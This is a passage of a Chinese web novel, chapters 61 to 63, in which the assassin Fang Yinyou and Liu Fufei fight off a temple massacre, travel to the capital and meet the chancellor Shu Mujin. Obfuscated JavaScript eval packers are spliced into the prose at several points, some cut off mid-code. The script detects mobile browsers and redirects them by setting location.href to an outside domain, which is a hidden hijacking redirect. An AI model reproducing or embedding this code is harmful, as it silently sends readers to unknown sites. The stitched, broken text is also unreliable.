柳扶斐闻言忍不住笑出了声,将他拉着坐到凳子上,调侃道:“好好好,都杀了,也别放过了我,柳扶斐不求与方隐攸同年同月同日生,但求同年同月同日死。” 方隐攸冷眼瞪着他,满腹怨懑却又无处发泄,最后只能端起面前的冷茶一口饮尽。 这还是柳扶斐第一次见到他郁闷到气愤的模样,一边觉得新鲜一边又感觉到十分惭愧。 他轻轻捏了捏方隐攸的手,“怪我,若是我权势大到只手遮天,此事处理起来便也不会那么麻烦。” 方隐攸忽然反应过来他刚刚说自己有权势,十分不解的问道:“你之前不是说你并非朝堂中人吗?哪里来的权力?” 柳扶斐脸上堆起讨好到谄媚的笑,“我这里有一个秘密,你想不想听?” 方隐攸上下扫他一眼,“什么秘密?” “我是朝堂中人。” 方隐攸再次上下打量他一眼,“什么官?” “无官无职。” 方隐攸皮笑肉不笑的呵呵一声,迅速起身一脚踹开柳扶斐座下的方凳,原本被他攥在手心的手顺势抽了出来,然后抓起可生剑狠狠地按在他的侧颈上,将他压得半跪在地。 “柳扶斐,你耍我呢?” 柳扶斐求饶似的拽住他的衣摆,唉声叹气道:“此时说来话长,官场水深,我一时半会也解释不清,但是你只需知晓,我柳扶斐,乃是个有权有势有财之人。” 说着,他望着方隐攸,炫耀似的挑挑眉,“可保你一生无虞。” 方隐攸撇撇嘴,故作嫌弃的看他一眼,“我需要你保?” “是是是,你是天下第一刺客,不需要我保,是我说错了话。”柳扶斐乖张的笑了笑,“所以...方隐攸,让我帮你吧,好不好?” 方隐攸垂首看着半跪在自己身前的人,迟疑的问道:“你...会一直这么坚定的选择帮我吗?” 柳扶斐闻言一愣,眼神闪过一丝怅然,他明白方隐攸为何会问出这个问题,毕竟自己在他看来就是个善变的人。 柳扶斐眼神灼灼的盯着方隐攸,“方隐攸,我从来不善变。” “除了爱上你这件事。” “但是爱由心生,不由我控,你不能全然怪我守不住本心。” 方隐攸蹲到他身边,与他平视,不再是高高在上的姿态。 “柳扶斐,我不是不相信你,我只是...必须要救出宇周。”他一把握住柳扶斐的手腕,“哪怕是死,我也一定要救出他。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823971|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳扶斐嗯一声,将头抵在他的肩膀上,“我知道。” 方隐攸长呼一口气,将下巴压在肩膀上,两人束发的玉簪巧合的触在了一起,两朵莲花并蒂,一红一白,在烛火下闪着温润的光辉。 “我与宇周是双生子,很小的时候爹娘就死了,听说是被人打死的,也不知是真是假,只知道有一日他们出门后就未曾再回来。” 柳扶斐闻言呼吸一紧,下意识的将人抱在了身前,方隐攸顺势变蹲为跪,整个人都压在了他的怀里。 “之后,我与宇周相依为命,过的虽然贫苦但是却并不凄惨。我生性好动,在武学上极有天赋,便总是去村口抢过路人的银两。” 说到此处,方隐攸忍不住笑了起来,“那群人自称是江湖人,有武功傍身,却不是我的对手,被我打的毫无还手之力。” “唯有一次,我抢了不该抢的人,被他打得肋骨断了好几根,几乎要了我半条命,吓得宇周哭了整整三日,生怕我死了。” 柳扶斐抬手轻抚他的胸口,哑着嗓音问,“是这里吗?” 方隐攸握住他的手往下移了半寸,“这里。” 掌心的触感温热,他能清晰的感觉到方隐攸的呼吸与心跳,无比真实,可是他却隐约觉得自己能闻到一股飘了许多年的血腥味,让他脑子发昏,胸口发闷。 “方隐攸...”柳扶斐将脸埋在他的脖颈里,闷声闷气说道:“对不起。” 方隐攸不解的眨眨眼,“那人与你有关系?是你的亲朋好友?” 柳扶斐闻言瞬间沉默,他愤愤的轻咬柳扶斐的脖颈,“你可真的个不知情趣的。” 柳扶斐咬的很轻,不觉得疼反倒是有些痒,让方隐攸忍不住耸了耸肩,将他压在自己的脖子里。 柳扶斐顺势更加贴紧方隐攸的肌肤,能清晰的感觉到他的脉搏震动,鼻尖的血腥味才终于褪尽。 柳扶斐此时倒有些庆幸这人是个声名狼藉的刺客,否则在这以武为尊的江湖,他如何能安然无恙的活到如今。 “从那之后,宇周便十分不喜我在外面打打杀杀,每每出门都会被他念叨大半天。” “宇周性格安静,爱好诗书,对读书极为有天赋。他常说...” 方隐攸闭上眼,脑海中浮起方宇周温润的脸。 “他总有一天会考取功名,然后买下一处大大的宅院,为我辟出一个练武场,我若是耐不住性子便在武场练武,反正不许再与旁人打斗。” “我记得那时,他原本是打算来年去京城赴考...” 方隐攸的语气变得遗憾,“等救出他来,我必要送他去参加科考。” 柳扶斐掐指盘算,今年的会试已过,宇周最快也只能明年参试了。 会试在贡院举办,在京城城东,与将军府隔着两条街的距离,宇周到时候住在府里倒也合适。 “此次回了京城,你便住在将军府吧?” 方隐攸抬起头,看向柳扶斐,“将军府的规矩多吗?” “不多。”柳扶斐璀璨一笑,“只有一条,你必须和我同屋而眠。” 方隐攸无语的横他一眼,“不是说好了等到我找到宇周解了心魔再——” “方隐攸!”柳扶斐打断他的话,装模作样的用手轻轻锤了一下他的前肩,“你这人好不正经。” “...”方隐攸翻一个白眼,“那你这话是什么意思?” “同屋而已,又不是同榻共枕。”柳扶斐再次将脸压在他的肩膀上,轻轻道:“本公子不急于这一时。” 61.刺杀 等到两人洗漱完时,时辰已经不早,周遭都安静了下来,只剩下桌上油灯里发出的滋啦声。 柳扶斐侧躺在木床上,一手撑住额头,一手搭在床沿,身子妖娆的看着站在窗边发呆的方隐攸,不解的问道:“你不来歇息吗?” 方隐攸眼神警惕盯着外面,眼下雨已经停了,正刮着一阵阵的凉风,院中廊下挂着几盏灯笼,照不亮半丈远的地方,遥望去,只有昏暗一片。 “你有听到什么动静吗?” 柳扶斐凝神细听,“没有,只有风声。” 方隐攸闭上眼,仔细辨别风声中裹着的异响,随后猛地张开双眼,“有人在朝这里奔袭。” 柳扶斐立刻翻身下床,走到他身边朝着屋外望去,“会是谁?” “不清楚。” 方隐攸拿起放在桌上的可生剑,然后挥剑斩灭油灯,房间一瞬间陷入漆黑一片。 他伸手扯住柳扶斐,与他一道躲到墙后。 “听动静有近百人,无论是谁,为的必然是屠庙。” 柳扶斐此时也察觉到了越来越近的脚步声,他按住腰间软鞭,凑到方隐攸耳边悄声道:“别怕,我的死侍在周围守着呢,无论是谁都能打得他个措手不及。” 那群人来的很快,在夜色里几乎要与黑暗融为一体,只有手中利刃泛着冷光。 方隐攸贴近窗户,漏出半只眼睛望着窗外,看到他们悄无声息的朝着各个寮房冲来,他们所在的这一间也被人一脚踹开。 方隐攸等到人走近后,如鬼魅般的贴到他身后,剑刃转眼间便贴在了他的脖颈之上。 “你们为何而来?” 那人闻言一抖,手里的剑立刻朝着身后刺来,柳扶斐顺势挥鞭,缠住他的手腕狠狠一拽,咯吱一声,他的手臂无力的垂下,手里的长剑也落到了地上。 “说。” 那人喘几口粗气,刚想张嘴高呼,方隐攸就已经眼疾手快的卸下了他的下巴。 方隐攸呵呵一笑,“最后问你一遍,你们为何而来,否则别怪我不客气。” 说罢,他又替那人将下巴接了回去。 那人咽了咽口水,哆哆嗦嗦的开了口,“屠庙。” 看来他们猜的没错,这群人当真是来屠庙的,早不来晚不来,非得今日来,显然是冲着他们两人来的。 方隐攸反手用剑鞘将人打晕扔在地上,柳扶斐拿出骨笛吹出一声长鸣。 随后两人直接冲了出去,院中的人听到动静,立刻朝他们挥剑杀来。 方隐攸十分轻巧的一脚将迎面而来的人踹出几丈远,然后和柳扶斐一起朝着庙门跑去。 他们才走到前院,就看到宝殿中的四十九盏长明灯依旧燃着,烛火映得佛像慈悲温柔,殊观躬身跪在蒲团之上,身后刺客手里的长剑眼看着就要砍下他的头颅,可是他却没有任何反应。 方隐攸见状立刻将手里的可生剑掷了出去,剑锋直接穿透刺客的胸膛,继而没入金佛的莲花底座寸许,猩红剑柄上的白玉莲花上残留了一丝血迹。 方隐攸疾步奔进宝殿,拔出可生剑后仔细的擦拭,顺脚将面前压住了殊观袈裟的尸体踢开。 “你为何不躲?” 殊观手里还握着三炷香,他举着香叩拜三下,然后起身将燃香插入香炉中,又将袈裟捋平后才用那双浑浊的眼神看向方隐攸。 “生生死死,非物非我,皆命也,智之所无柰何。” 方隐攸擦剑的动作一顿,看向身后的柳扶斐,“他这话什么意思?” “生死有命,他认命了。” 说罢,柳扶斐拿出一张帕子,和方隐攸一起擦剑。 方隐攸撇撇嘴,看向殊观,“你认定了你该死,可是眼下你不是活的好好的?这命有什么好认的。” 殊观摇摇头,回首看向已经火光冲天的殿外,“此生非彼生。” 话音刚落,殿外忽然射来一支利箭,箭头直指方隐攸的胸口。 柳扶斐见状翻身上前,一把握住箭杆,然后挡在方隐攸身前,神色警惕的望着殿外。 便看到一个黑衣男子从火光中走了出来,他身材魁梧,长相粗犷,眉心一道疤。 他朝着方隐攸阴恻恻的笑道:“主人猜的果然没错,方隐攸,你终于回来了。” 方隐攸越过柳扶斐,望着那个男人,“你的主人是谁?” “是你祖宗!” 方隐攸嘴角勾出一抹讥笑,转眼间窜到男人面前,一巴掌响亮的扇在他的脸上,然后又脚尖点地,腾空后扭身一脚,恶狠狠的踩在他的左肩,直接将人踩的半跪在地。 方隐攸用可生剑抬起他的下巴,语气嘲讽的说道:“就这么点本事,也敢在我面前乱叫?” 男人凶狠的盯着方隐攸。 “我知道我不是你的对手,但是你——” 男人仰头大笑一声,“也永远不会是主人的对手。” 方隐攸手里的手腕一转,可生剑在身前一挥,男人眉心的疤从鼻梁往下蔓延至下巴,鲜血从他的下巴往下滴,落在地上,和未干的雨水混在一起。 “你的主人是谁?” 男人似乎没有痛觉,依旧猖狂的笑着,他大声喊道:“主人让我转告你,你方隐攸既然一心求死,他便送你一程。” 最后几个字男人说的缓慢,表情变得狰狞无比。 方隐攸板着脸,手起刀落,然后一脚将他的头颅踹入院中的燃纸炉中。 柳扶斐走了过来,将手里的长箭也扔进了炉里。 “这寺庙一直有人在守着,他一直在等你回来。” 方隐攸无所谓的耸耸肩,“那就看看谁的剑更锋利,速度更快。” 话音刚落,便看到一阵漫天箭雨陡然而至,柳扶斐见状赶紧抽鞭挡箭。 方隐攸仰头朝着院墙上望去,便看到上面站满了一排人,手里的弓已经拉满。 宝殿的方向传来一声惊呼,方隐攸回首看了过去。 殊观不知道什么时候走到了殿门口,一枝利箭正不偏不倚的插在他的胸口,而正从后院跑来的小沙弥见状吓的连滚带爬的跑了过去,将人扶进了殿内,还顺手将门给关上了。 方隐攸面无表情的撇开眼,对着柳扶斐说道:“杀上去。” 柳扶斐闻言表情变得狠厉,与他并肩而立,手中的长鞭卷起几支利箭,狠狠的甩了回去。 方隐攸顺势跳上燃纸炉,借力往上一跃直接落到院墙之上,手里的可生剑映着熊熊火光,带着热气与杀气,一招斩断几人脖颈。 方隐攸立在高墙之上,俯瞰整个寒山寺,语气森然的喊道:“滚,否则死无全尸。” 疾风呼啸,卷起他的衣摆,荡起他的长发,可生剑上滴血未沾,闪着冷光,他就如从天而降的阎罗王,只瞧着便觉得瘆得慌。 剩下的人大概是怕了,毫不犹豫的退出了寺庙。 方隐攸轻飘飘的落到柳扶斐身边,望向大门紧闭的宝殿。 柳扶斐顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳扶斐眉头一皱,“这老和尚,多管些闲事。”说着,他牵着方隐攸的手,将人带到还有余温的床榻上。 “在我眼里,方隐攸本就是个心善之人,他愚昧眼拙瞧不见,所以满嘴胡言,你别往心里去。” 说话的功夫,柳扶斐将方隐攸妥善的安置在了床内侧,随后他也动作迅速的爬上了床,掀开被子睡到了软枕上。 屋里的烛火未熄,将柳扶斐精致的眉眼找的清晰,方隐攸盯着他的侧脸,“你怎么也上来了?” “本就是我睡床,本公子为何上不得?” “哦。” 方隐攸想要起身,柳扶斐顺势抬手压在他身前的被子上,哄道:“我八字硬,你与我同枕共眠,那个老和尚入不了你的梦。” 说着,他轻轻怕了拍被子,“眼下已经不早了,我们明天还要赶路呢,快睡吧。” 方隐攸扫他一眼,困意来袭,让他懒得再说些什么,只拿开了他的手臂。 “别压着我,会睡不着。” 柳扶斐连忙点头应好,将手缩回了被子里,紧紧的贴着他的手臂,“这样呢?” 方隐攸已经闭眼入睡,闻声轻轻的嗯了一声,不再理他。 柳扶斐的脸色扬起无声的笑,他缓慢的挪了挪身子,直到两人的脚尖相抵,才闭上眼睡觉。 62.抵京 在鸡鸣时分,方隐攸被热醒了。 他感觉自己像是被人放入了一个密不透风的暖炉,胸腔里还被塞进了一块热碳,呼吸都变得炽热无比。 他下意识的伸手抹了一把脖子,湿漉漉的触感让他立刻睁开了双眼,然后便看到自己整个人都被柳扶斐裹在了怀里。 当真是裹,自己如襁褓中的婴儿蜷缩在柳扶斐怀里,他的双手拢在自己的背后,将自己护的仔仔细细、严严实实。 方隐攸长呼一口气,猛地一脚将人踹下床,然后自己也翻身下床,扯过挂在屏风上的方巾擦拭身上的热汗。 柳扶斐摔得猝不及防,他躺在地上迷迷瞪瞪的望着屋顶横梁,过了会才双手按住自己的侧腰,缓慢的爬了起来。 他委屈巴巴望向方隐攸,“你踹我做什——” 柳扶斐忽的咽下嘴里的话,呆愣的望着站在屏风旁的方隐攸的侧影。 他的身上汗津津的,被溻湿的白色单衣贴着肌肤,将他的身形勾勒的清清楚楚,肩颈与后背连成一条线顺势往下又在股部蜿蜒,如书圣手握羊毫在宣纸上走笔写出的“隐”字。 柳扶斐眼神痴迷的盯着他,视线不其然的落在他凸起的喉结上。 方隐攸大概是因为出了太多的汗,所以觉得有些口干舌燥,便忍不住咽了咽嗓子。 柳扶斐的眼珠顺着他的喉结滚动,压下想要攀颈弄珠的邪念,哑着嗓子继续问道:“你为什么要踹我,都摔疼了...” 方隐攸闻言侧过脸横他一眼,抬手捻起脸上被汗浸湿的几缕青丝往前一递,“你看这是什么?” 柳扶斐撇撇嘴,“我怎么不觉得热?” 说罢,他起身凑到方隐攸身边,拿过他手里的方巾替他擦汗,讨好道:“怪我怪我,下回我们盖一床薄一点的被子就好了。” “下回我睡榻,你睡床。” 柳扶斐置若罔闻,抬手替他将鬓角的头发拨到背后捋顺,又仔细的将他脸上的汗渍擦拭干净。 等到收拾好了,他将人拉倒桌前坐好。 “方隐攸,看我。” 方隐攸抬头看他,眼神莫名其妙,“做什么?” 如今柳扶斐站着,方隐攸坐着,仰视的角度让方隐攸的眼睛显得格外的大,加上刚睡醒不久,里面还有未曾褪去的惺忪,看上去像是装着盈盈秋水,让人想要陷进去被水波抚慰。 柳扶斐的神色变得十分温柔宠溺,他眉眼弯弯的笑道,“好可爱啊,方隐攸。” 方隐攸眉头一皱,随即伸手攥紧柳扶斐的手腕,右腿用力的在身前横扫,将柳扶斐绊倒的瞬间,他起身拧住柳扶斐的手臂反压在他的后肩。 方隐攸微微弯下腰,语气警告的问道:“还可爱吗?” 柳扶斐半跪在地上,闻言连连求饶,“错了错了,方大侠饶了我吧。” 方隐攸哼冷一声放开他,然后伸了个懒腰走到窗前望着外面已经泛白的天际,“吃个早饭赶路吧。” 柳扶斐凑到他跟前,用肩膀轻轻蹭了蹭他。 “走,去吃顿好的,昨夜的斋饭可太难吃了。” 岭南地方虽小,但是饮食文化却非常兴盛,美食种类丰富,方隐攸最爱的酱牛肉算是岭南的一道特色。 柳扶斐只知道方隐攸喜荤,却不知道他最爱吃牛肉,眼下看他大快朵颐,吃的满足又畅快,于是招手让小二又上了一盘酱牛肉,心里也记下了他的这个喜好。 等到两人离店赶路时,他还特意让老板给他装了满满一包袱的风干牛肉丝,想着让方隐攸在路上也可以过过嘴瘾。 方隐攸看着他穿着贵气的锦衣,胸前却挂着一个花哨的粗布包袱,没忍住笑出了声。 柳扶斐自然知道他笑的是什么,于是埋怨的剐他一眼,用手拍了怕包袱,“方隐攸,你就笑吧,到时候有你哭着求我的时候。” 方隐攸无所谓的摆摆手,“我方隐攸只杀人,不求人。” 柳扶斐啧啧嘴,也不再与他争辩,与他肩并着肩往城外走去。 只是因为昨日落了雨,路都变得泥泞起来,脚踩在地上,不仅鞋面会弄脏,溅起来的泥渍还会落在衣摆上。 柳扶斐嫌弃的抬起脚来,看着鞋面的泥土。 “太脏了。” 方隐攸听出他的意思,配合的问道:“柳兄想如何?” 柳扶斐笑嘻嘻的望着方隐攸,手指向不远处的马队,“我们纵马赶路吧?” 方隐攸当然不会拒绝,手摊开在他面前一递。 “给我银子,我去买。” 柳扶斐非常阔气的给他一锭金子,只叮嘱他一定要买最贵的马,他京城柳扶斐若是骑了劣等马传出去丢脸。 方隐攸皮笑肉不笑的扯了扯嘴角,去马队里买了两匹最贵的良驹,然后将剩下的钱揣进了自己怀里。 良驹确实是良驹,两人快马加鞭可日行千里,第三日午时便能遥望京城。 京城的城楼非常高,上面的箭楼里还有持械的士兵,昂首挺胸的站在,看上去威风凛凛。 城墙前约六丈远的地方有一条护城河,河面波光粼粼,方隐攸笃定这河里肯定有大鱼。 他勒紧缰绳,朝着身侧的柳扶斐抬了抬下颌,“牛肉干还有吗?” 柳扶斐点点头,将身前的包袱打开,先从衣袖里拿出一块干净的帕子垫在马背上,然后从包袱里倒出许多牛肉干在上面。 等到柳扶斐将裹着牛肉干的方帕递给方隐攸时,却发现他的脸色忽然变得凝重起来。 “怎么了?” “那群老鼠又来了。” 方隐攸回首看向来路,这几日一直有人在追杀他们。 那群人的武功不高,解决起来十分容易,但是他们却仿佛是杀不完的小鬼,源源不断的涌来,烦人的狠。 “你先吃?我去对付他们。” 说着,柳扶斐直接将帕子放在方隐攸的手心,随后纵身一跃,跳下马朝着身后奔去。 方隐攸稳如泰山的坐在马上,看着他的背影,用脚尖卷起刚刚被他扔下的缰绳,一脸悠哉的吃着牛肉干。 岭南人在做牛肉干前会用花椒、生姜水将牛肉浸泡几个时辰,然后再风干,最后还会撒上一层胡椒,这样的牛肉干吃起来又辣又香,十分合方隐攸胃口。 方隐攸手里的牛肉干才吃了半捧,柳扶斐就回来了,他撇见手帕里的牛肉干,有几分嫌弃的看了一眼自己沾了血迹的手。 “手脏了。” 方隐攸哦一声,“那你别吃不就好了。” 柳扶斐不可置信的瞪着他,“方隐攸,你做人可不能这么没有良心!” “我辛辛苦苦的去把那群渣滓收拾了,你安逸的吃着牛肉干不说,这一路上哪一次你想要吃的时候我没给你吃?” 越说越委屈,柳扶斐虚空狠狠的朝着方隐攸挥了挥拳头,“你不要这么坏!” 方隐攸看着远处的京城,听他说完以后直接塞了一块牛肉干在他嘴里。 “好了?” 柳扶斐嚼着嘴里的肉干,满意的眯起眼睛,嘿嘿笑了两声,“好了。” 等到两人吃完了牛肉干,方隐攸远远的看到城门口有人骑着一匹快马,正朝着这边疾驰过来。 那个人走近后,方隐攸才发现这人十分年轻,脸上稚气未脱,在看到两人以后,神色变得激动起来。 “公子!” 那人摇手高呼,视线落在柳扶斐身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841755|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方隐攸侧过脸看向柳扶斐,“他是谁?” 柳扶斐稍微迟疑了一下才回道:“丞京语,原本是我身边的侍卫,如今是宰相舒慕谨的心上人。” 话音刚落,丞京语的马就停在了两人面前,他朝着柳扶斐抱拳见礼,“公子,你可算回来了!” 柳扶斐点点头,坐在马背上揽住方隐攸的肩膀朝他说道:“这位便是我信中所说的方隐攸。” 柳扶斐又看向方隐攸,“你叫他京语就行,或者阿丞。” 说完,他凑到方隐攸耳边悄声道:“不过,姓舒的占有欲很强,不太喜欢别人叫他阿丞,只能他自己如此唤他。” 方隐攸闻言眼中升起一丝兴趣,似笑非笑的望着丞京语,闻声叫到:“阿丞?” 丞京语诶一声,然后扯住缰绳热情的凑了过来。 他眼神灼灼的盯着方隐攸,迟疑的问道:“方大侠...你...你真的是那个...第一刺客方隐攸吗?” 方隐攸撇一眼柳扶斐,然后点点头,“是我。” 丞京语激动的高呼一声,牵着缰绳让马匹在两人周围跑了两圈,然后又踱到方隐攸面前,小心翼翼的问道:“我...我能和大侠过两招吗?” 方隐攸感觉有几分诧异,想不到他方隐攸的名声在京城人眼里,似乎也没有那么狼狈。 他又仔细打量几眼丞京语,此人长得十分乖巧,圆脸大眼,如今刻意摆着讨好的表情,看上去更加人畜无害。 方隐攸点点头,将手里的缰绳递给柳扶斐,翻身下马走到了旁边的一处空地上。 丞京语跟着他走了过去,他今日并未带剑,只有腰间悬了一柄匕首。 方隐攸于是将可生扔给了柳扶斐,“你我皆不用兵器,只切磋,点到为止。” 丞京语忙不迭的点头,张开双手在衣襟上擦去手心的汗,他咽了咽嗓子,颤抖着说道,“方大侠...你不用让我...我可以的...” “叫我方大哥,方大侠听着别扭。” 丞京语闻言一愣,神色越发激动,连叫了几声方大哥才停住。 他摆出姿势,神色认真的看着方隐攸,“方大哥,那我便得罪了。” 方隐攸点点头,于是丞京语立刻挥拳打向方隐攸的侧脸。 方隐攸抬手挡住,然后右腿朝前一迈,左手反握住他的拳头,借着他的力道将人狠狠的往后一拽,随后又在丞京语顺着惯性往前扑倒时,迅速侧过身抬腿接住他的身躯。 丞京语被他往上一掂,顺势站了起来。 方隐攸朝他伸出手,微微一笑,“再来?” 丞京语点点头,这次选择攻击方隐攸的下盘,他半蹲在地,用腿横扫方隐攸的侧腿。 方隐攸伸手按住他的肩膀,借势在空中翻了个身,落到他身后,然后小臂一劈,重重的压在他的肩膀上。 丞京语只觉得自己犹如泰山压顶,连站都站不起来。 “再来吗?” 丞京语摇摇头,没什么必要了,方隐攸的实力太厉害了,他连一招都接不住。 方隐攸收手回撤一步,看着慢慢站起来的丞京语,注意到他沮丧的神色,于是安慰道:“你年纪尚浅,只要刻苦练习,功夫必会有所精进。” “让你家慕哥哥来或许能和他过几招。”坐在马背上的柳扶斐朝着丞京语打趣道。 丞京语抬手挠了挠后脑勺,“过几招而已,比我又好得到哪里去?” “你如今胆子越发大了,竟然敢说这种话,信不信我入了城便告诉舒宰相?” 丞京语闻言,立刻躲到了方隐攸的背后,小声说道:“方大哥,你快帮帮我,别让公子将这话当真告诉慕哥哥了。” 63.舒慕谨 方隐攸扫一眼柳扶斐,柳扶斐脸上戏谑的神情立刻收敛。 他朝着丞京语咬牙切齿的说道:“你如今好歹还住在我将军府里,也算是将军府里的人,他舒慕谨若是敢欺负你,本公子必饶不了他,你这么怕他做什么!” “至于你在他背后贬低他的这种事情,本公子拍手叫好还来不及,怎么可能告诉他?” 丞京语露出半个脑袋,看着马背上的柳扶斐,“公子此话当真?” “本公子何种身份?怎么可能会说假话?” 说完,他的视线轻飘飘的落在丞京语拽住方隐攸衣摆的手上,“什么该碰什么不该碰,还要我教你吗?” 丞京语闻言下意识的收回了手,还往后撤了几步。 “不用不用,公子说笑了。” 方隐攸没有理会主仆之间听起来莫名其妙的话,转头朝着丞京语抬抬下巴,“走吧?进城。” 丞京语连忙点头,与他同时翻身上马,随后三人一道纵马朝着城门赶去。 等到了城门口,几人下了马,牵着马走进城门。 一入城门,方隐攸便注意倒旁边的茶馆门口坐着一个锦衣公子。 他肤色白得渗人,眉眼细长,头发半束,头上一顶织金缀玉的发冠,手里拿着一把羽扇,正似笑非笑的盯着丞京语。 柳扶斐注意到方隐攸的视线,悄声说道:“他便是舒慕谨。” 柳扶斐刚说完,舒慕谨就起身朝着几人走了过来,方隐攸这时才发现这人非常的瘦,走路时也摇摇晃晃的,看上去弱不禁风的十分可怜。 不过跟在他身后的几个小厮看上去倒是非常健壮,方隐攸注意到他们的脚步轻盈,应该是习武之人,他们的手一直护在腰间,只怕里面放着利刃,但凡周围有点风吹草动,他们就会立刻拔刀相向。 舒慕谨走到几人跟前站定,十分随意的瞟了方隐攸一眼,然后不满的看向丞京语,“就这么点路,非吵着要去迎,怎么样?过了几招?” 丞京语拱起腰、缩起肩膀,用眼角余光注意着方隐攸的反应,然后用右手护住左手后,左手朝着舒慕谨比划出一个圆圈。 舒慕谨见状哈哈大笑,手还装模作样的擦了一下眼角的泪,手中羽扇朝着丞京语虚点几下,“着急忙慌的赶上去丢脸,阿丞当真是有趣。” 方隐攸眼神警惕的打量着舒慕谨,实在难以相信面前这个肩不能扛、手不能提的孱弱男子竟然是当朝宰相。 柳扶斐将方隐攸手里的缰绳接过来,然后递给舒慕谨身后的小厮,等到人将马牵走了,他立刻挤到方隐攸身侧,悄声道:“怎么了?” “他知晓我的身份吗?” “知道。” 方隐攸脸色一凛,下意识的握紧手中的可生剑。 一个是朝堂重臣,一个是江湖匪徒,天生水火不容。 柳扶斐安抚的轻抚他的后背,“别怕,你是我的意中人,他不敢拿你如何。” “他怕你?” “怕?”柳扶斐笑着摇摇头,“自然不是,他可是宰相。” “那...”方隐攸不解的看着他。 柳扶斐手往丞京语一指,“他的意中人很听我的话。” 方隐攸了然的点点头,原来是这样。 舒慕谨朝着方隐攸看来,他上下打量方隐攸一番,啧啧叹道:“想不到天下第一刺客竟然如此年轻。” 说着,他的羽扇朝着柳扶斐一点,“刚好是和他相称的年纪。” 方隐攸闻言心里松了口气,这人果然已经知道了他的身份,却并未为难他。 只是他乃是堂堂宰相,有一副半死不活的躯壳也就算了,怎么说起话来也这么的不着边际? 柳扶斐抬手打下他的羽扇,无语的翻了个白眼,“大庭广众之下,你这幅样子丢不丢脸?” 舒慕谨双手一摊,“那又如何?谁敢来指摘我一句试试?我能连他祖宗八代的坟都给刨了。” 柳扶斐嫌弃的撇撇嘴,朝丞京语使了个眼色,丞京语立刻上前一步,伸手揽住舒慕谨的侧腰,哄道:“慕哥哥,你方才不是还说要去醉仙楼给我家公子接风洗尘的吗?” 舒慕谨垂眼看一眼丞京语圆嘟嘟的侧脸,修长白皙的手在上面捏了捏,由着他将自己往醉仙楼引。 方隐攸望着他们的背影,不解的问道:“他当真是宰相?” “他在朝着担任中书令一职,被封为梁国公,是货真价实的宰相。” 方隐攸侧过脸看向他,“不是宰相吗?中书令和梁国公又是什么意思?” 柳扶斐眼珠一转,思考要如何通俗的像方隐攸解释官场中错综复杂的官职,“还记得我们当初说江湖中的规矩,需要有人制定、审核、颁布、实施、监督吗?” 方隐攸点点头,“记得。” “宰相只是一种称呼,中书令才是官职,而这中书令就相当于给整个大境制定规矩、审核规矩的人,至于梁国公,只是个虚名,代表的是一种尊荣,一种身份的象征。” 方隐攸伸手指向前面走路都飘飘忽忽的男人,“他?给大境制定规矩?” 柳扶斐眼中浮起笑意,伸手握住他的手指。 “朝堂不是江湖,靠的是脑子,比的是对权术的极致谋划。”柳扶斐凑到柳扶斐耳边,压着嗓子继续道:“他一肚子坏水,等闲间就能翻云覆雨,厉害得很。” 柳扶斐靠的太近,说话时喷出的热气落在方隐攸肌肤上,激起他浑身一颤,连脖子都缩了起来。 方隐攸抬手推开他,“靠这么近做什么?” “说人坏话当然得悄声的说。”柳扶斐戏谑的望着方隐攸,“他位高权重,我可不敢得罪他。” 方隐攸闻言捻了捻手指,有些迟疑的问道:“那...你去拜托他替我打探太子的消息时,是不是需要备上一份大礼?” “我曾听闻朝堂与江湖不同,只讲情义是不够的,得加上真金白银才好行事。” 柳扶斐闻言眼珠一转,掩下眼里的笑意,故作为难得问道:“若是,你会如何?” 方隐攸环顾一眼四周,发觉没人注意到他们的,于是扯住柳扶斐的衣袖,将人拉倒跟前,凑到他耳边悄声说到:“王府和皇宫我虽进不去,寻常的府邸我方隐攸可如入无人之境。” “你只需替我打探好哪家有珍宝,我自会取来摆到你床前,到时候你拿去送给那个舒宰相就行。” 柳扶斐闻言眼里的笑意实在隐藏不住,他笑容满面的看着方隐攸,看的方隐攸十分不解。 “你笑什么?” 柳扶斐好不容易止住了笑,伸手揽住方隐攸的肩膀,笑道:“哪里需要你去偷,我府里的珍宝多的放不下,就算这舒慕谨再贪,也喂得饱他的胃口。” 方隐攸这时才反应过来这人竟然在调侃自己,反手用剑柄狠狠的捅了他一下,然后推开他疾步朝前走去。 柳扶斐连忙追了上去,然后像个撕不开的狗皮膏药一样,紧紧的与他肩头相抵,并肩朝前走去。 醉仙楼距离他们刚刚走的南城门甚远,几人走来将近两刻钟才到。 此时天已经擦黑,酒楼檐下挂上了明晃晃的灯笼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 